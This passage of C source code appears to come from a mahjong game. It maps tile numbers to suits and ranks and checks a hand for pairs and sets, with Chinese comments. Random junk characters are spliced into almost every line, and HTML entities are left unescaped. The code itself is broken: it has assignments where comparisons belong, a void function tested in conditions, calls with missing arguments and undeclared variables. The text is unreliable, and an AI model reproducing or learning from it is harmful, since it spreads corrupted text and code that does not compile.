. j& U2 f; Z* I/ @else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)# H  g+ T; L. s3 O2 l9 m6 L+ A
logoo=3;
- l$ z& {: d; ]3 k( x  aelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
8 v- F+ ^+ d+ @$ I" K, zlogoo=4;
' R4 M  \, z0 ^9 Y8 g9 ~# H9 @, q' Gelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
3 S$ Z2 ?* B  |$ ?1 \/ G" Flogoo=5;8 C8 n! }; x. A$ X3 R7 W/ j
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)  a2 h4 s8 [' \9 s& @( ~: X$ ^5 R
logoo=6;
4 Q. w7 P) G4 D4 z% i) Belse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)6 h- V7 C$ x4 H: I
logoo=7;
: m3 U& g7 M  J8 e/ E) U, e) Felse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
2 q" a8 c+ |8 L. q! V! M/ _5 e: ^" Ylogoo=8;! O! z4 W/ ]- V' g' @5 ~
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
# k8 F1 Q- v7 O+ ?6 _logoo=9;  N& V: L. [. b! X2 [! D- g+ M
}
3 K0 |% m( [4 n: }$ D3 E" ^else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
4 @) T. i: W! j. J( s% e{
* [) s" k- F! t5 W) n" hlogo=3;" U% n- w) p8 {& g$ f, I9 E
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
6 N/ H+ f9 l9 [: @logoo=1;
; T/ ~0 L4 L* A7 D, K3 L/ Kelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
' m8 z5 D/ X$ v0 X. Rlogoo=2;
8 T! @$ p8 e( q  Gelse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
: }0 V4 S3 w: }% Q) X+ h+ }  Mlogoo=3;
) B- I' l; T, L& w- Relse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
5 @9 J- }2 V6 H7 T( ]logoo=4;$ g" G* j% }- {( t) e7 d4 o2 [
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
2 o6 C# @5 x6 _; l' ?logoo=5;/ M& i1 e) w. r8 u( z
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)" ]: X, F8 z# X, N: b
logoo=6;+ v% T7 D0 C, @" h
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
3 Q# q) b  j  vlogoo=7;
6 t6 a) T) |4 Q6 F9 s7 Helse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)  J8 P4 V) u" I3 ~: I7 B
logoo=8;% ?: K* J0 x4 h7 J. d
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)2 H) ]3 F" }. z! k% f* I
logoo=9;# ~6 m( _- @9 c' g
}7 O7 x; q# s$ B% L; V
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
6 F, y4 r3 M4 J' K{5 A3 `2 e4 Y. Z; m, ~* V8 F
logo=4;! p8 {* d; x: r; d
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
7 l+ q: L  s- {% Jlogoo=1;
3 ?2 n- o9 Z, y+ Z. D7 [$ ^4 pelse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)* @, o# B4 g3 U$ c9 N
logoo=2;6 b7 ?3 a: ?# Z! H+ ?
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
4 Y; U- S* w( @3 P& n* \logoo=3;: ]* \/ R  a/ n5 n
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
; D- @, C9 k0 d5 llogoo=4;
- z( J6 G6 D, h& ?% Velse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)  i( a- p9 @. e, @9 ^/ P5 E. K
logoo=5;
; Z) |$ V( E# Zelse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)& m% ~# u$ `" ?6 ]
logoo=6;
  k& F- d! L1 O; Q! |# [! q; uelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
" ^1 f3 r; h2 }8 ]logoo=7;
' Z$ J: C8 _  Z3 d8 U3 d+ i}
* c" s, e4 ]+ z% k1 B4 Owhile(b&lt;=me.m)
/ ~" H/ n/ y$ a4 C{
, A* @; x# y- y0 g. ?if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
% z" j$ S& x) I/ u  M{
' U. J2 I1 h  f( m% W6 K: Wlg=1;+ {8 _7 }% ~+ U' S% I
me.pp.d[0]=1;+ `/ ^6 G$ ?0 C2 e; }7 B" s  g
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)( l. ]9 L1 u" v& l+ A0 C
{& `, C/ R' m+ q  {
lgg=1;% H: u- O& I1 \6 r5 }3 X; r
me.pp.d[1]=1;
  v" t0 [4 ]  \1 K8 k3 X4 y+ G1 A}
* E: I" V- K- U8 o. q7 delse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)8 N: q2 L  ?% K* d8 @# `; h! Y
{
; t6 X5 m7 g: @3 {- w& ]; e6 T6 Slgg=2;  v+ H5 i* k2 {8 ^
me.pp.d[1]=2;
& b/ y8 n+ `9 R$ E}& e% z0 \: n) A4 f5 S
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
# C' m, [4 i) c0 `{
8 k. n9 f4 }% G  W" plgg=3;1 |, O: E! U1 p& U4 c
me.pp.d[1]=3;$ ^$ H6 J; z! \$ t( w" \
}. a& ]6 J% u3 ?$ v9 |1 q
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
; H$ c; D( I" S& {" i6 W{
, O5 R3 g! t# E8 K0 x5 ylgg=4;- y" u8 @- }% ]/ |0 s' `% X
me.pp.d[1]=4;/ Z& A3 Y" ?& m6 ?  K
}
6 j7 x# r4 y4 h  welse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)* ^$ z+ R4 ?* j/ D: t2 d
{- v! z  N0 y0 y/ x3 I; |
lgg=5;" c9 v1 m9 Z' E/ E
me.pp.d[1]=5;: d5 `$ n; P5 r1 |
}( _, Y1 R( A1 S; i2 Z% V& u  C
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)1 q% C1 G; {+ I/ P
{
2 }3 @8 C+ m* e' D3 ?6 g3 |* llgg=6;
  w1 I8 P5 a& J, t& ome.pp.d[1]=6;
  \; Y+ P9 I& Y) {# r}! A8 Q* @1 o1 Y
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)' B7 s/ l5 j1 C2 ^. @
{! `2 O# E+ C6 x  c3 _6 H% Z
lgg=7;! u, T' x. o. N# X
me.pp.d[1]=7;
& D  B8 j+ `3 M  X: r* Y}
4 k% m- v3 T' g" ^8 t: R* H' }7 l, Gelse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
6 G) @2 @, u7 k{
8 ^6 f0 `8 \+ I1 llgg=8;
) X, T; D9 D3 {) L8 pme.pp.d[1]=8;& d5 n8 a3 d! `8 W* [1 y; j. M
}/ U& R9 Q& \  Z# T9 u
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
: x2 M' Y7 s( u7 l- n8 I& \{5 g+ ]6 g6 q) V5 O* X* x
lgg=9;
* K7 I' g6 t( J% @) e1 v  v7 X! {me.pp.d[1]=9;/ @; e4 C1 o8 \' Z9 L
}$ i7 {) F5 I& N
}, Y1 m% M) C) m' z; L
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)  T& s8 D" j. T( U5 f' D+ m
{
4 o1 H/ x1 V1 j0 ^9 T% [lg=2;2 I" M, U* q/ }8 b' z) y
me.pp.d[0]=2;4 q) u& L3 {1 @+ F: I
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
0 D+ {1 |, o3 k; @{
3 F* f3 b) e2 K, F% olgg=1;
( s: u8 i! g- C9 A, M2 Q- p. cme.pp.d[1]=1;
7 G* O. I* N; ~2 w( B& {}
3 d' w; P  X9 ~- |/ |" xelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
" I. H! x* n8 Y) c% K* k- W1 ^{% R3 ?0 z% s9 [4 q, j3 H
lgg=2;; X8 n+ H/ b! e3 D
me.pp.d[1]=2;
: G1 @4 T* L, N0 S  r- W}
$ g$ q/ ?1 y0 X  d$ Y) oelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
, G6 t# a$ z- C2 d* a* o! l{$ ^$ W! p2 N+ T) B& F5 V
lgg=3;
2 r# Y* K  e& F, k4 z- a# J, {me.pp.d[1]=3;
* R) `2 R' R+ M) Z; A, x$ p1 |}
( {1 K, R" K+ o7 ?, gelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)* }( C- i1 ?1 F  `: N1 M0 Y9 q% y
{+ p0 N; l8 H* S- [9 J! l
lgg=4;
/ |8 `$ s* ], Yme.pp.d[1]=4;' @0 y6 t# h1 ]' N) B* T) t5 d
}" r- X' n: M+ r
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)2 V) s% P7 J9 P) G* q  v
{* [! C- j) X* @) y  F( s' W
lgg=5;2 Y: `6 T6 c8 |0 }, m
me.pp.d[1]=5;# j' P( @: l  F
}
2 w+ c* s, Q5 `7 J0 R/ X7 O3 Nelse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
* e* I, l$ J: q7 M& B  {7 r# s{/ D; c. X6 b+ J6 o
lgg=6;
: `, J5 I5 H4 O# @* Ome.pp.d[1]=6;
3 D6 L! h6 n# t5 D' O}3 {6 Q! L2 w* F* ^1 ~3 ~3 L
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)# R4 K8 X: J& s* c
{
; C/ d$ s4 y- B/ Llgg=7;0 m; m: G% G) H
me.pp.d[1]=7;" O% s. F( r  `3 F) `4 h
}
. E, P: |: i% g, b' {else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
# G- k- w5 K+ U; v  H{; s* O8 u& Q+ h2 ]
lgg=8;
1 K7 d% L7 _- e( r, p) I5 hme.pp.d[1]=8;
0 O! p4 _! I0 k, P; t, {}
5 T$ T0 L5 t: N6 x8 Nelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
+ W4 w. i' O. K+ S{7 S( h7 F( L: }0 w& B6 }! u
lgg=9;/ z/ n9 u1 Q4 f/ K# y
me.pp.d[1]=9;' n6 V* q$ ^  c6 _
}
, T1 H  ~. ~% Q9 S1 T# T. g}
5 [5 \# R- i! u- Xelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
' F) z2 q% F; ^$ f8 E{% h9 m5 y2 c, y
lg=3;
2 `$ [" q3 w8 m$ q- t6 eme.pp.d[0]=3;( t! ]  _: T) D+ Q" ?: v
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
0 ~  @  U/ ^, Y; t{- m/ ^1 i4 H* U, E8 p: p: ^0 t9 {
lgg=1;
/ U/ Q) a7 A( Y0 yme.pp.d[1]=1;- u0 p5 R7 l3 E# Y, g- [( r0 S8 U
}1 \$ P  E5 d* N3 }4 m" q
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)( w8 U. f4 M, U* C
{
7 h5 b9 ^. g( `- D9 Ilgg=2;
" E( ?, Y9 l" w/ R& o8 l! _0 Ime.pp.d[1]=2;" Z% G" y' l. |7 f- C
}
& k4 N  j0 u& Z/ y* `( v' nelse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
; z- J$ Y% u% ?. k2 Z{
5 `5 Z5 J' V" y; M- a% ~lgg=3;
4 N4 M. U' x! {. w" Lme.pp.d[1]=3;; D4 C, j* K% ~9 d" X9 z
}
1 A& n: F9 O# T" Zelse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)% r! R% B& J1 C
{
4 I" L- e* O! ~& Blgg=4;0 x- J+ H! y8 t' {
me.pp.d[1]=4;
# P% b5 z6 ^4 n' d}
: g5 z" q% X% t8 v3 eelse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88), ]) c3 [3 h1 @; [- V7 S6 Y
{
% ?1 a. S7 i) L5 w' z  Rlgg=5;# B9 v5 H, Q% M" H; d! g
me.pp.d[1]=5;
' \9 N1 E# }% ^* J7 F" w8 F}
' |7 t) i, F; k) k/ C9 q( k& l: Aelse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)/ @; ]/ e  E  X5 w: A% \
{
1 o! z/ h0 B9 F3 Plgg=6;) l) A" {' d9 ]  s
me.pp.d[1]=6;
) T, m3 l. v2 Q8 m. x) G) y}
4 L. y! b1 z& u8 Q" o" Helse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
/ H- s# m2 G+ [{, k0 ^. Y* ^3 v/ u
lgg=7;/ r& W3 i; j3 z. n
me.pp.d[1]=7;2 G% D: v# E' [" m9 S) r" k: }6 u; j* `
}
6 G- q- G+ N1 T8 ]" G+ @: a% {3 Yelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)  {. C8 t/ |) b* F$ E# D
{+ Z" K% Y! b% Q/ h; ?/ ~1 O
lgg=8;
; N( ]7 A0 }3 ome.pp.d[1]=8;1 B% E  n2 h% j2 F% d7 J2 }
}
0 e$ h- |6 J& ?% Telse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104): v4 E( R+ g+ P  j: ]
{
$ K& C2 P" |4 g) C6 \6 Jlgg=9;
( g' t4 |+ [: rme.pp.d[1]=9;/ m+ o* _2 {. W# i) t
}, M3 h0 L* T. e  w( f- x
}
" K! P( L  T$ q5 n# melse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
3 u+ V. p# n% m2 j) v{
! C$ ?9 |7 J0 M7 Z) ?, _# Zlg=4;* N5 h8 L1 C- ^, E  h4 {1 U" A
me.pp.d[0]=4;
; J, W/ _/ X0 f1 V6 D* a! ?7 x6 qif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
" P. Y4 E5 [) A! L, `4 @, h{
9 g9 }* x! H% [" k& {1 K: Jlgg=1;
5 y& f: p; P6 Hme.pp.d[1]=1;
$ G' [/ t& C% \  Y$ T/ B9 t% e}
: A( k: a# A% X4 F' W; {: j) [else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
( j+ I4 u2 H! Z, g- X" V& c{$ T# b" p/ G: l) {
lgg=2;
8 N  A: m' O" n4 V: [0 ?me.pp.d[1]=2;
5 b  T& v4 W5 n: L, \: u! C8 U" v0 ~}
: }. e' B2 z! G) H8 U, selse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116), U6 o  l: ?7 v2 d0 f4 e% ?6 z  B
{! @# c* Q1 @+ ^: q# B# N
lgg=3;
0 s6 I6 a/ d  q. `% ^* i; L; nme.pp.d[1]=3;
6 e+ p+ K" v+ c5 v& a7 n( c}
/ K8 t+ _) Q# N% p; helse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
, h7 k' z4 q3 b6 y, ]{, Y9 E; h8 j; U: Z
lgg=4;
% c+ f3 n3 Y/ ame.pp.d[1]=4;) j) M( L, X. b$ e% [  _* t
}1 D8 D8 E+ n' p4 e( w* P
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
( P# o. t- @% d7 j# G( `/ _{% ]# I# H6 d" @5 G
lgg=5;
: J1 v" i/ t& [  {( r6 }me.pp.d[1]=5;
* h1 r* }2 ?+ b" P; J% W% L}4 I. Y# Y& m2 Z7 o
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)7 }( H8 E; C' I4 F2 V9 a
{+ E  v  ]: V& E9 ~( e  l, D
lgg=6;) O/ `' g5 f; u' r
me.pp.d[1]=6;; g5 U: b8 U, N
}0 L1 u. J0 P9 `& X
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
4 H  e8 w2 b; a{
8 u* O! `4 R: j/ A1 M8 o* Vlgg=7;
' U- n- A& |5 b9 u- L# Z; l) Yme.pp.d[1]=7;" Z+ Z  H/ P/ n# Y
}, I- X9 S# m8 E: {- k# {
}- `% d$ L5 a0 ~% [8 l
}
/ T  v2 L' s6 g3 N' h# X/ x}
0 U; v+ }% }# c: o) N# ?6 }6 ~void istwo(testt)
  `( S# _" Z6 V, s$ n' K9 \) s' _int testt[];
! N  e( \% m1 H, I{ if(testt[0]==testt[1])2 l9 k# x( N% e% _7 E
second++;) A% E/ m" ~1 P, J. t/ a2 Z! {) }
}, r9 Q5 ?; ]' a
void isthree(testt,n)0 P+ A# {* a" Q' ~' n8 D7 ?
int testt[],n=0;
% ]" x4 O7 n& d3 x! L) c{ int i,j,flage=0,lianx=0,same=0;* {  F! ]- ?, [* j: t" \! \
n=n/3;1 _+ P( T! P& o% n
for(j=0;j&lt;n;j++)
7 T- i( @1 M4 X. ]{
  m7 d8 j# X$ U0 U! V& rfor(i=j*3;i&lt;2+j*3;i++)9 A3 H: v2 P2 s+ a' E' g2 d
{
2 _7 D" n, F# {2 O3 e. R* ]if(testt==testt[i+1])
6 y+ r; ~6 T1 [, jsame++;
7 h% R/ b/ ~, Tif(testt[i+1]-testt==1)
. X% w* n7 v+ @4 R- Ylianx++;
* L" e% ^4 K8 U0 l3 ~- F}' ]9 _9 R6 E- f, m- d' G3 T! Y
if(same==2)$ S: U( j0 L( v( _2 o5 U; L
threes++;$ Q0 S- q- m' _. j
if(lianx==2)0 |& c' o- }% V5 y  O& K( w
threes++;) S& m  a: U9 G5 D" N
same=0;+ P, N8 F- N. O
lianx=0;( E4 v0 k9 r8 F
}
4 E6 H- T4 X9 ~; w}
9 ]! ~6 F9 K: l# B0 jvoid panduan() /*本程序的精髓*/) f: [. S$ Y3 d( \4 Y; ?6 y
{int data[14];
+ j5 Q2 X  Z/ W" d2 L. X8 b& @' y  i% ^int pw[14];
: h, K0 m3 A- Qint pt[14];% L, S; Z: q& T! `
int pi[14];1 K" i- \# B  v7 s% {1 E
int pf[14];
$ C2 P* U% Q% G8 z7 V' \int test[12];$ D* O: Y5 f+ P
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;" ^% E  G8 F/ I& l! E9 h1 o
for(jj=0;jj&lt;=me.m;jj++)
% b2 f8 T3 K& k3 i) l4 P{
/ S$ m  u* h+ O: A; z( Y- d1 p% Fif(me.pp[jj].d[0]==1)
7 D# R& I1 z1 E' L! Kdata[jj]=me.pp[jj].d[1];( d* H, y8 ?% [7 S7 e* ]/ ^6 C
if(me.pp[jj].d[0]==2)2 s3 P! m  V3 o7 Y$ i" j& \
data[jj]=me.pp[jj].d[1]+10;: ?% t2 L: F$ O2 g0 I! v
if(me.pp[jj].d[0]==3)
8 K( f6 k# h: F8 J- L6 fdata[jj]=me.pp[jj].d[1]+20;+ k& R+ Z8 w4 M# n
if(me.pp[jj].d[0]==4)
6 i7 \6 ~4 f$ S3 Ydata[jj]=me.pp[jj].d[1]+30;
( I2 V/ S5 p$ H# x  R}: `( d: ]" m( d4 _
if(logo==2)8 g! _& w7 p  @
w=logoo+10;
8 D3 J4 l$ B; e; jif(logo==3)4 @$ y( X. g! ]" y3 k$ Y+ M
w=logoo+20;" Y0 e4 q( o) s1 C
if(logo==4)
. m/ ~! @, n2 e0 S: a. tw=logoo+30;& n. p8 y7 y3 K3 a. b
data[computer.m+1]=w;
6 y$ h* w2 n: p% v) Rfor(mm=0;mm&lt;=computer.m;mm++)" @4 H9 M' ]& a2 l" P9 ?' m, w) R5 j  Q1 X
for(nn=mm;nn&lt;=computer.m;nn++)
5 u# [! E$ b. }  s0 ~if(data[mm]&gt;data[nn+1]). n6 T: l/ |9 n# {! c
{
3 L3 b( [5 u( q3 Mtpp=data[mm];
6 N+ W7 d1 g  X" @4 Hdata[mm]=data[nn+1];
3 @+ G5 G. g/ S* [* ~data[nn+1]=tpp;
) F+ x- y" w3 R0 N}
7 X. ^' e4 X# y$ u5 wlp=0;
7 Y, Q3 d$ \$ {" b3 vwhile(lp&lt;=computer.m)
" K9 m1 ~0 ]5 U: s{ if(data[lp]&lt;10). T, Q% v* B0 L
pw[ww++]=data[lp];
) n- l5 F8 S" I1 w; k3 ~" i7 k) jif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
1 Y8 f) |0 ~# O$ {% f% h! O* R/ U( Qpt[tt++]=data[lp];
7 Y/ @& Z* r) U3 {  Z) R' k( Y! _if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
. _( F7 k: W6 \  P' S: Wpi[ii++]=data[lp];* s1 O4 C) R6 b5 {9 ^, [" n4 c
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)2 C0 w& t+ v# [* ^5 _9 i0 H' r: o. I
pf[ff++]=data[lp];
; H; s3 F/ G1 f+ plp++;% C- k1 O3 {: i+ C' U5 W0 X! b
}
2 _! F0 d- c7 d  x  Y) U9 B  Nif(ww==2)2 l, W; D6 ~9 a1 u% S3 m3 l6 M
istwo(pw);
/ f2 \1 k) L5 h1 Eelse if(ww==3)" V' j% ~7 i# g' h* V0 e
isthree(pw,ww);6 A+ V0 @0 T# x" Y" n$ B( Y
else if(ww==5)
& E: L9 h0 B* l/*pw[5]原始牌数组,假设已经升序排列*/
6 J# \" p( F6 P4 |$ Y/*test[3]用来放置测试牌的数组*/
. s* Z5 J# O% D6 r# y3 z  o8 qfor(i=0;i&lt;4;i++)1 }) D0 Q6 f) ^# _8 X' G  g/ K$ n
{# e7 q3 p/ h. c  Q, a
for(j=0;j&lt;2;j++)* \& K* _' T+ k* H6 c
{test[j]=pw[i+j];% I* F+ g6 s  j% y5 Z9 @+ W# h
}" X. g8 q1 _6 f$ q: C! c5 _6 l  @
if(istwo(test))4 _" Q. X2 W* u7 K
{ ill=0;  ]* g, F: z0 `% R: W# P' s9 A
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
5 }9 h2 ~, ]- o- c( ~% y{if(kl==i)2 ]& c% F+ f  r# }3 W& B8 w1 U( n, X
{5 L8 Y+ ~  c. K# x
kl=kl+2;
1 b* P6 T0 u% @; x; Gif(kl==5)1 p1 I7 J# p  P+ L. z4 `
break;
8 f: k4 l+ b' I}
8 R. _0 w' r; J5 @; c5 Etest[ill++]=pw[kl];
! H& |% X+ l9 E4 v4 u3 R) {: J}
! ]1 X. V  T4 s' k" a6 ~- ~9 ~5 yisthree(test);5 j4 \% j0 H7 y0 q+ @
}1 w: j4 F+ L* m6 I. w8 H; I. K, D
}
7 [# O; s7 x& r! x3 z: a5 v# Relse if(ww==6)& ?3 F7 g# G8 A6 b
isthree(pw,ww); 5 ~! Y6 j" H2 X: \0 A0 _
else if(ww==8)" m# u7 T; f% S+ y6 R. L4 [9 b
for(i=0;i&lt;7;i++)3 \* E+ T$ h( h* P6 [9 r6 L1 @7 C7 o
{: ]7 }* u# Z6 \0 X
for(j=0;j&lt;2;j++)
; z; H4 I, A, i. ^: z' @5 b2 }% I3 _{test[j]=pw[i+j]; " {5 K5 @9 p/ Q% l& P0 W8 m
}; p1 o* Z0 H; {, I. s, s
if(istwo(test))9 V7 Q5 z5 e8 w8 b% t4 t1 g
{ ill=0;( }2 B3 Y& j  T6 h2 Q$ b) C6 s/ R3 o
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
: c9 j% s4 E. T+ K2 G' D- H/ Z; z{if(kl==i); j5 M' j1 t8 Y! Q3 R) s: u# o
{
* W0 R- Y; \' d. t+ \kl=kl+2;
% m8 C3 J1 Q# O" r$ ?if(kl==8)
) l+ q% ?6 M+ q& a* M. j6 C8 ubreak;% b3 n5 l. N9 [  U* \
}
% j1 d0 ]: Z3 R7 x3 Xtest[ill++]=pw[kl];
4 m1 Q6 i$ |8 X* b% _6 \}6 Q6 J7 _$ C2 R9 i7 U4 M3 O$ E
isthree(test,ww-2); ' j2 a# d4 l' \2 C
}
  k$ a" \0 I, F6 H. \1 F}
2 a4 f( Z  a/ K/ |, l" Y1 R" J2 r3 kelse if(ww==9)
4 A# w  _' ~1 risthree(pw,ww);
* D7 Z6 @6 h& @# c3 N  J1 ?9 k5 k. n" ]else if(ww==11)
" t" C! A3 G6 h' r* S3 ^for(i=0;i&lt;10;i++)4 D9 x+ C) d. y( v, O9 @
{6 y3 C4 O9 m# l' W( V8 v8 P8 R
for(j=0;j&lt;2;j++)3 `3 g' @* W4 Q$ u1 S2 x
{test[j]=pw[i+j]; : W/ D) B' U: ^5 b9 V, [
}% e( ]2 F4 S$ b: w1 @% Z
if(istwo(test))
" Y; I) a4 M1 F, L8 `# A  O; }{ ill=0;
& s$ F' n7 i6 }) efor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
, Z5 }- a! _2 O$ D{if(kl==i)
* N" ?: G8 a7 O" M; Z{
# m4 f! G6 W+ i% g# mkl=kl+2;
: m' r0 a! @4 zif(kl==11)( w+ T/ r1 H: P0 q6 V
break;! u. s$ Z  I( B& J3 ^; p9 e1 K8 w
}
4 Y, c1 B4 B& w1 b  Xtest[ill++]=pw[kl];
) ]) l3 |8 {8 p  b# c}
9 e6 ~# \" G4 [# r* u9 h- sisthree(test,ww-2);
. ?; B* O8 E8 o1 V1 z}( V" P" ?9 Y7 j4 y* s6 h7 \4 t
} & o' l4 O! Y. x) z; o
else if(ww=12)
9 t/ n- N. D. j) T/ tisthree(pw,ww);
- N7 m- ~8 V. q7 R# r' g- ?: j# Helse if(ww=14)
! I. K& _' Y) J: b% \5 Mfor(i=0;i&lt;13;i++)$ K# q2 G& y3 C7 N$ Q" o
{
' a, M8 V% n3 q& F) i' `0 ^4 Xfor(j=0;j&lt;2;j++)
- z# q7 g! i2 k8 Q{test[j]=pw[i+j];3 X6 t0 ~! s+ P/ ^" }5 ]/ k
}
* H. k- i( l" F" M' ~/ j4 j+ jif(istwo(test))! O: T6 K  i% G$ q% o6 \9 N
{ ill=0;
9 \& ?! t+ c, Z0 ~+ kfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
' z& B+ b/ F& Y+ @{if(kl==i). N/ I% o8 K9 m4 Q( s8 M& v# y8 L
{3 s# H% z$ I6 j/ x6 A4 o
kl=kl+2;
" A3 B3 N  t' M3 Eif(kl==14)
# j* L3 r/ V' h! e. vbreak;
: a5 Z) k; [3 Q* I6 A2 x: \}
4 X1 R6 M4 D4 p! K; Itest[ill++]=pw[kl];" f. C& {) ?; [) p2 K; s, [" q$ s
}% j; G; ^& U/ G$ M
isthree(test,ww-2); 5 b6 q+ ^" i# B
}4 x; q) d* p2 X2 G0 m
}- m" _  l; v. N8 G; E( G/ i
if(tt==2)7 y, g" c- u. Y  T7 Q5 y4 G( b, I7 h, Z
istwo(pt);( ?  |4 i$ [" B4 X$ s
else if(tt==3)
3 s% g$ P% m1 i; C* v. Zisthree(pt,tt);+ F) t( g8 N! S, r9 E
else if(tt==5)
( X# L! q# {* f7 o' o" e6 _/*pt[5]原始牌数组,假设已经升序排列*/
! X! n- U( M' B( V+ T/*test[3]用来放置测试牌的数组*/
2 s; G8 v2 z0 v5 [for(i=0;i&lt;4;i++). h  K8 ~+ N: \" s, G( T
{
! U* o* E! m' X1 V# s  Nfor(j=0;j&lt;2;j++)
- s' ?- _( M# F" p{test[j]=pt[i+j];
# c7 T9 g) n! l}; \9 y, J2 f. ?& x
if(istwo(test))8 W- L' _9 D1 Z
{ ill=0;
9 q2 Q6 L0 \; @, w2 h8 }8 k9 Tfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*// @5 C7 B4 G  e, x
{if(kl==i)# u" p% J* k& S! u7 u
{* g3 L" D& U6 B* s. _4 Z
kl=kl+2;& Q' }) R, D5 C# q, h
if(kl==5)# F) B8 Y( O( n" F* |. e( i! q5 v; @
break;3 U  h, X8 P# I- V! P) c3 p
}
' q; t6 o6 _, ~. b( L) ^, h' n: Qtest[ill++]=pt[kl];* ~- Q4 d! z! T5 c
}
2 P% e5 r; m* F! r, s! \isthree(test);
' ]$ X% D6 A/ ^& V6 @7 P% m}5 \' K6 j8 N7 u9 j4 r0 M
}( H( {" M& e& `, [$ y' }4 C: a; q
else if(tt==6)% ^; O2 g3 o: B" I/ e  ~
isthree(pt,tt); 5 P: D8 \* A; S8 v
else if(tt==8)- Y1 l. I9 p) G$ c5 q4 K6 g; S
for(i=0;i&lt;7;i++)
3 @8 i* g3 ?# L{
, B2 L! V% ?0 O. gfor(j=0;j&lt;2;j++)
) j# W( U% J. U& k3 H& `: i{test[j]=pt[i+j]; . [0 g+ {: u7 ]4 }0 z' v/ @1 ?2 M. b$ {
}) I" [6 K: P0 b2 z1 h' J. q9 `; I
if(istwo(test))
% f' A& Y! C9 m4 A+ z{ ill=0;
